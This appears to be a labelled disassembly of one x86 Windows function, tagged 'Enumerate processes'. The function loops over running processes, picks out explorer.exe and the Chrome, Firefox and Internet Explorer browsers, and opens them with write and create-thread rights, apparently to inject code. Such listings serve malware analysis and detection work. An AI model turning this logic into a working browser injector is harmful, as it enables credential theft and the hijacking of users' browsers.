Function at 0x10005259
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x35c
mov eax, dword [0x1000f5a8]
push ebx
mov eax, dword [eax]
push ebp
push esi
push edi
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebp, eax
push 0
push 2
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [esp + 0x34], ebx
cmp ebx, 0xffffffff
je 0x1000548e
lea eax, [esp + 0x138]
push eax
push ebx
mov dword [esp + 0x140], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x1000547f
cmp dword [esp + 0x140], ebp
je 0x10005470
mov edx, str.explorer.exe
lea ecx, [esp + 0x15c]
call fcn.1000acb3
test eax, eax
jne 0x100052d8
push 2
jmp 0x10005325
mov edx, str.chrome.exe
lea ecx, [esp + 0x15c]
call fcn.1000acb3
test eax, eax
jne 0x100052f1
push 3
jmp 0x10005325
mov edx, str.firefox.exe
lea ecx, [esp + 0x15c]
call fcn.1000acb3
test eax, eax
jne 0x1000530a
push 4
jmp 0x10005325
mov edx, str.iexplore.exe
lea ecx, [esp + 0x15c]
call fcn.1000acb3
test eax, eax
jne 0x10005470
push 5
mov esi, 0x1000e02c
lea edi, [esp + 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop ebp
movsd dword es:[edi], dword [esi]
push 0x1000d884
mov esi, 0x80
lea eax, [esp + 0x3c]
push esi
push eax
call fcn.1000ad60
add esp, 0xc
lea ecx, [esp + 0x38]
call fcn.1000ad26
movzx ecx, byte [esp + 0x2b]
push ecx
movzx ecx, byte [esp + 0x2e]
push ecx
movzx ecx, byte [esp + 0x31]
push ecx
movzx ecx, byte [esp + 0x34]
push ecx
movzx ecx, byte [esp + 0x37]
mov edx, eax
movzx eax, byte [esp + 0x36]
push ecx
push eax
movzx eax, byte [esp + 0x3d]
push eax
movzx eax, byte [esp + 0x40]
push eax
movzx eax, word [esp + 0x42]
push eax
movzx eax, word [esp + 0x44]
push eax
push dword [esp + 0x44]
mov eax, esi
sub eax, edx
push str._08x_04x_04x_02x_02x_02x_02x_02x_02x_02x_02x
push eax
lea eax, [esp + 0x6c]
lea eax, [eax + edx*2]
push eax
call fcn.1000ad60
add esp, 0x38
lea ecx, [esp + 0x38]
call fcn.1000ad26
mov ecx, esi
push dword [esp + 0x140]
sub ecx, eax
push 0x1000d8f4
push ecx
lea eax, [esp + eax*2 + 0x44]
push eax
call fcn.1000ad60
add esp, 0x10
lea eax, [esp + 0x38]
push eax
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x100053f6
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000546c
push dword [esp + 0x140]
push 0
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000546c
lea ecx, [esp + 0x30]
xor ebx, ebx
call fcn.10004ffb
cmp dword [esp + 0x30], ebx
je 0x10005449
and dword [esp + 0x18], ebx
push str.IsWow64Process
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10005440
lea ecx, [esp + 0x18]
push ecx
push esi
call eax
xor ebx, ebx
cmp dword [esp + 0x18], ebx
sete bl
cmp ebp, 2
je 0x10005452
test ebx, ebx
jne 0x10005461
mov ecx, dword [esp + 0x140]
push ebp
mov edx, ebx
call fcn.1000503c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x34]
mov ebp, dword [esp + 0x14]
lea eax, [esp + 0x138]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x100052b2
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x35c
ret